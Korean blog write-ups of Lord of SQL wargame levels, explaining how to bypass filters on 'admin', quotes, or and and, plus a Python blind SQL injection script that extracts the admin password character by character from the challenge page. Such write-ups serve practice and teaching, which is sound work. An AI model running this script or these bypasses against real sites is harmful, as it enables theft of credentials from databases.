id만 입력할 수 있고 "admin"이라는 문자를 입력할 수 있으면 성공하는 문제입니다.


single quarter도 막아두어 union select로 강제로 만들 수 없고, hex값을 이용할 수 도 없습니다.

또한 ereg()로 "admin" 문자열을 막아두어 바로 인증을 할 수 없습니다.



하지만 php는 대소문자를 구분하지 않기 때문에, ereg()는 대문자와 소문자를 적절히 섞어주면 필터링 되지 않습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05

or, and 를 필터링하고 있으며 addslashed()로 '(Single Quarter)를 막고 있습니다.

하지만 Query가 2번 있고, 두번째 Query하기 전에만 Single Quarter를 막기 때문에 문제되지 않습니다.


해당 문제는 Blind Sql Injection으로  풀었는데, 두번째 Query의 결과로 참 거짓을 판별할 수 없기 때문입니다.



우선 or는 || 로 대신 사용할 수 있습니다.

참일 경우 다음과 같이 "Hello guest"라는 문장이 나오게 됩니다.


그렇다면 앞선 문제처럼 'admin'으로 성공하면 "Hello admin"이라고 나온다고 생각할 수 있습니다.



첫 Query에서 id='admin'을 하는 이유는 테이블에 다른 계정의 pw의 개수가 짧을 경우에 먼저 나오기 때문입니다.

(아래 주석으로 해도 guest pw는 15자리로 문제가 없긴 합니다.)


and는 &&로 바꾸면 되지만 URL에서 &는 [id=test&pw=test] 처럼 변수를 구분하는 용도로 쓰이기에 미리 인코딩한 값으로 해야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?'
password = ''
length = 0
 
 
#pw 갯수 구하기
for i in range(1,99):
    query = "pw=' || id='admin' %26%26 length(pw)="+str(i)+"%23"
    #query = "pw=' || length(pw)="+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(33,127):
        query = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05

이번 문제는 or, and 를 필터링 한 문제입니다.


근데 이전 문제들처럼 union을 사용하면 깔끔하게 해결이 됩니다.. ^___^



원래 의도는 다음과 같이 or 대신 ||, and 대신 &&를 사용하라는 의도였을 것이라 생각됩니다.



'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] troll  (0) 2018.10.06
[LOS] orge  (0) 2018.10.06
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05

+ Recent posts